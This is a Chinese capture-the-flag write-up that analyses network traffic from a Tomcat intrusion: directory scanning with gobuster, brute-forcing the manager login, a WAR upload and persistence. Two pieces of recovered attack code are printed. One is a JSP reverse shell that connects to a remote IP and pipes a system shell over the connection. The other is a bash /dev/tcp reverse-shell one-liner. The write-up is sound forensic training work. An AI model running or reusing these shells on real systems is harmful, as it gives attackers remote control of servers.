[玄机]流量特征分析-常见攻击事件 tomcat

news2024/9/21 16:32:53

题目网址【玄机】:https://xj.edisec.net/

Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是最受欢迎的Java EE Web应用服务器之一。

问一、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP  flag格式:flag{ip},如:flag{127.0.0.1}

题目思路:

根据标题命名得知分析的是tomcat流量包,老样子,我们可以直接查看分组计数器进行分析。通过对统计数据的分析,我们可以得到http数据大致的访问信息,再通过查询语句过滤流量包得到成功访问的流量包

方法:

1、左键点击“统计”->“HTTP”->“分组计数器”查看分析HTTP流量数据

可以看到大部分都是GET请求的数据包,只有1个POST请求包(习惯性看了一下这个POST请求包,果然有收获,大致看一眼请求包内容盲猜上传了木马文件—文件里面有上传的文件,这个留着后面有用),先看一下GET请求的数据包

2.http.request.method==GET 查看GET请求的数据包

大致翻看了一下,流量里面一个就两个请求的地址10.0.0.115和14.0.0.120,而10.0.0.115又和受害主机一个地址段,很合理的理由怀疑14.0.0.120(当然,如果仔细翻看一下流量,可以看出应该是黑客使用工具对目录进行了扫描,实际情况中遇到了也可以向甲方确认一下地址)

flag{14.0.0.120}

问二、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

题目思路:

一开始没好好读题,还以为出题者想要让我们通过流量包中的经纬度坐标来确定城市位置(wireshark安装第三方 GeoIP 数据库可以实现,有兴趣的大家可以实验一下),又看了看题目发现提示了通过IP查找,那就直接上工具了,分享两个网页工具:

站长之家:IP所在地批量查询 - 站长工具

IP属地查询:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名

方法:

直接使用网页工具查询,得到了广州市 

flag{guangzhou}

问三、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

题目思路:

该题目中受害者主机只有一个端口开放了网页服务,所以还是可以直接通过GET请求包内容就可以查看了

方法: 

http.request.method==GET 查看GET请求的数据包,随意一个请求包右键“追踪流”->“HTTP流”

可以看到请求的端口号是8080

flag{8080}

问四、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

题目思路:

前面分析过,流量像是受到了目录扫描,应该使用的是目录扫描工具,这时候就可以看一下User-Agent,大多数没有魔改过的扫描器User-Agent都是带有特征的

方法:

 http.request.method==GET 查看GET请求的数据包,依据是选一个请求包右键“追踪流”->“HTTP流”(但是需要注意选择源地址为14.0.0.120地址的)

可以看到使用的工具是gobuster(感觉这个现在用的比较少了,感兴趣的可以自行了解一下)

flag{gobuster}

问五、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

题目思路:

原本是想直接搜索例如:“user”、“pass”这类的关键字的,但是搜索查看了好一阵没有什么结果,在查看username字段时发现了一个账号密码但是发现不是这个账号密码(这好像是个报错,其中tomcat-users.html文件中是存储tomcat账户密码的文件),翻找了一下报文,发现后面的请求包中多了一个Authorization字段,解码后分析得到正确的账号密码

Authorization字段用于在客户端请求中包含访问令牌或认证凭据,以便服务器能够验证请求者的身份。当客户端需要访问受保护的资源时,服务器可能会首先发送一个401 Unauthorized响应,要求客户端提供有效的认证信息。然后客户端会在随后的请求中包含Authorization头,以获取对资源的访问权限。

方法:

1.http contains "username" 查看http协议中包含username的流量包

2.点击最后一个流量包(一般后面的都是成功访问的,从后往前找比较方便,也可以比较流量包的大小来查找),右键“追踪流”->“HTTP流”,向下翻找,也可直接搜索Authorization,同样翻找到最后,发现有成功回显200的响应包

3.复制Basic后面的值进行base64解密,得到账号密码

flag{admin-tomcat}

问六、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

题目思路:

这时候就用到前面说的POST请求包了,记得前面说了应该是上传了一个文件,现在去搜索看一下

方法:

1. http.request.method == POST 查看POST请求的数据包

2.右键“追踪流”->“HTTP流”,可以查看到上传文件的文件名

 flag{JXQOZY.war}

问七、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

题目思路:

本来想着直接搜索一下上传的文件名,看一下干了什么操作,但是通过搜索并没有发现什么有用的信息,这时候就想着既然流量包里面有压缩文件的源码,不如直接下载下来,看看黑客到底上传了什么文件,后面拿到文件后也是成功找到了黑客入侵后执行的命令

方法:

1.左键“文件”->“导出对象”->“HTTP”,翻找一下,找到图中这三个文件就是有关于黑客上传木马的文件,把这个三个文件都都出来(因为前两个重名了,我就分别重命名为了111和222)

2.分别使用编辑器打开,发现最后一个是空的,那就不用看了,第二个一眼就看出来是html文件,可以将后缀改为html进行查看

打开后可以看到这个就是默认的界面,里面还存在着文件上传的接口

3.查看111文件,就是一个压缩包的源码,把多余的都删除掉,只留下源码部分再更改文件后缀为zip(本人电脑不支持解压war用zip替代一下,一样可以用)

4.这时我们就可以看到黑客上传的文件内容了,里面一共两个文件,主要的内容在rzpmxxmm.jsp当中,我们来解析一下代码

if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "10.0.0.142", 80 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}

这行代码获取当前操作系统的名称,转换为小写,然后检查是否不包含子字符串"windows";如果不是Windows操作系统,则将变量ShellPath设置为"/bin/sh",这是linux系统上的shell路径;如果操作系统是Windows,则将ShellPath设置为"cmd.exe",这是Windows系统上的命令行解释器;创建一个新的Socket对象,尝试连接到IP地址10.0.0.142上的端口80(HTTP默认端口)。

 5.到这里我们已经得到了想要的信息了,黑客创建了一个Socket,端口使用的是80;我们使用命令进行搜索,ip.src == 10.0.0.112 && tcp.port == 80 过滤源地址为10.0.0.112和端口为80的流量包

6.右键“追踪流”->“HTTP流”,查看流量包内容,可以看到黑客执行的命令,根据题目提示我们了解到是进行权限维持的命令,而最后一条命令就是反弹一个新的shell

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

后续

此时就已经结束了,但是好奇心驱使下,还是查看了一下后面黑客执行的操作,使用命令:

 ip.src == 10.0.0.112 && tcp.port == 443 过滤源地址为10.0.0.112和端口为443的流量包

 我们通过回显的信息可以看到其实黑客在登录后就直接就使用exit命令退出了,并没有继续进行下一步操作


 后续本人会陆续在公众号进行更新,希望大家点点关注!谢谢大佬们!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1964990.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用思科模拟电子邮件实验

实验十 电子邮件实验 文章目录 实验十 电子邮件实验1.实验目的2.实验流程3.实验步骤 1.实验目的 1)理解电子邮件的含义 2)理解邮件系统的工作过程 3)掌握简单的邮件服务器的配置 2.实验流程 开始 → 布置拓扑 → 配置路由及IP地址 → 配置…

JAVA—面向对象编程基础

面向对象是java编程的套路。更符合人类思维习惯,编程更直观。面向对象有三大特征:封装,继承,多态。 目录 1.理解面向对象 2.对象在计算机中的执行原理 3.类和对象的一些注意事项 4.类与对象的一些语法知识 (1&am…

小阿轩yx- KVM 高级功能部署

小阿轩yx- KVM 高级功能部署 案例分析 案例概述 企业内部为了使服务器资源达到最大化利用会进行 KVM 虚拟化每台服务器部署多台 KVM 虚拟机。KVM 虚拟机数量不断增多个别服务器会出现资源过载现象,就需要对部分 KVM 虚拟机迁移针对可停机的 KVM 虚拟机可使用静态…

为你的世界,开一扇任意门 (中篇)

传送门 《为你的世界,开一扇任意门(上篇)》 一、蓬门今始为君开 在上篇,为各位朋友展示了,在【我的电脑】中添加自己的任意门后的效果。 本篇直接上干货,手把手教大家实操(dll插件和自动化注册…

PostgreSQL如何入门学习?

在各种数据岗招聘中,SQL几乎成为了必备技能。有公司的地方就会有数据,有数据的地方就会有数据库,有数据库的地方就会有SQL。 SQL在数据分析中到底有多重要?这么说吧,除了Excel外,SQL是数据工作最常接触的到…

Java--接口和内部类

目录 接口接口的使用接口的特性多继承问题对象类型进行比较深拷贝和浅拷贝浅拷贝深拷贝 接口和抽象类区别 Object类内部类实例内部类静态内部类局部内部类匿名内部类 接口 接口是一种引用数据类型,语法和抽象类类似,只不过需要把abstract换成interface 接…

JavaScript (七)——JavaScript 对象和函数

目录 JavaScript 对象 真实生活中的对象,属性和方法 JavaScript 对象 对象定义 对象属性 访问对象属性 对象方法 JavaScript 函数 JavaScript 函数语法 调用带参数的函数 带有返回值的函数 局部 JavaScript 变量 全局 JavaScript 变量 JavaScript 变量…

“遥遥领先”的观察者模式

前提 观察者模式是我们在开发时经常会用到的模式,最近在维护公司项目时看见了前辈的代码用到了观察者模式。就想来和大家讲解观察者模式 观察者模式 生搬硬套概念肯定会让我们新手很难理解,刚好最近华为手机出新机了,一机难抢,…

内存问题检测

内存检测方式 gcc/g 内存检测方式如下,添加一些编译标签: -fsanitizeleak 检测内存泄漏。例如添加标签:-fsanitizeleak -g -O0-fsanitizeaddress 检测内存越界。例如添加标签:-fsanitizeaddress -g -O2,优化级别开…

ThreadLocal详解及ThreadLocal源码分析

提示:ThreadLocal详解、ThreadLocal与synchronized的区别、ThreadLocal的优势、ThreadLocal的内部结构、ThreadLocalMap源码分析、ThreadLocal导致内存泄漏的原因、要避免内存泄漏可以用哪些方式、ThreadLocal怎么解决Hash冲突问题、避免共享的设计模式、ThreadLoca…

Android DexOpt七种触发流程解析【原创硬核】

Android 13 DexOpt七种触发流程解析 众所周知,DexOpt是安卓应用性能优化非常重要的手段,相当于将应用对虚拟机的多层调用直接转化成了arm机器码。Dex优化过和没优化过,效果千差万别。本文深入解析android系统DexOpt机制的触发流程。 1 DexOpt…

如何学习自动化测试工具!

要学习和掌握自动化测试工具的使用方法,可以按照以下步骤进行: 一、明确学习目标 首先,需要明确你想要学习哪种自动化测试工具。自动化测试工具种类繁多,包括但不限于Selenium、Appium、JMeter、Postman、Robot Framework等&…

安全编程的代码示例

一、python代码示例 一个安全编程的示例是对输入进行严格的验证和过滤。比如,当用户在网页上输入用户名和密码时,应该对这些输入进行验证,防止恶意用户输入恶意代码或进行 SQL 注入等攻击。下面是一个简单的示例代码: import…

OpenFeign微服务调用组件

一、跨服务、跨进程调用方式 1)Httpclient 使用Httpclient我们首先需要引入依赖 <dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.13</version> </depend…

Meta/东京电子/FPT软件等共同贡献,Aitomatic发布首个半导体行业开源大模型,「锁死」企业技术自主权

2024 年初&#xff0c;研究机构 Market.us 发布报告预测&#xff0c;全球半导体市场规模将大幅增长&#xff0c;预计 2024 年可达到 6,731 亿美元&#xff0c;到 2032 年预计将增长至 1.3 万亿美元。 毫无疑问&#xff0c;这个万亿级市场与充满想象空间的 AI 密不可分。技术层…

【根号分治】 通知

通知 分析&#xff1a; 这道题根号分治看起来就没有前面几题那么明显了 emm当然也可能是我境界还没到 我们考虑如果暴力修改&#xff0c;复杂度是 O ( n m ) O(nm) O(nm)&#xff0c;其实m为这个点的度数 考虑根号分治的思想&#xff0c;我们令 m M m\sqrt M mM ​ 并命度数大…

申瓯通信设备有限公司在线录音管理系统(复现过程)

漏洞简介 申瓯通信设备有限公司在线录音管理系统 index.php接口处存在任意文件读取漏洞&#xff0c;恶意攻击者可能利用该漏洞读取服务器上的敏感文件&#xff0c;例如客户记录、财务数据或源代码&#xff0c;导致数据泄露 一.复现过程 fofa搜索语句:title"在线录音管…

idea显示properties文件中文乱码的解决方法

1.如下 File-》Settings-》File Encodings,修改如下图中绿框标注的内容 2.点击Apply-->OK 3.修改完成后显示

ROS八股

目录 一、ros1和ros2的区别是什么&#xff1f; 二、rostopic 和 rosserver的区别是什么&#xff1f; 三、讲一下ros的navigation框架 一、ros1和ros2的区别是什么&#xff1f; ROS 1和ROS 2是两个主要版本的机器人操作系统&#xff0c;它们在多个方面存在显著差异&#xff…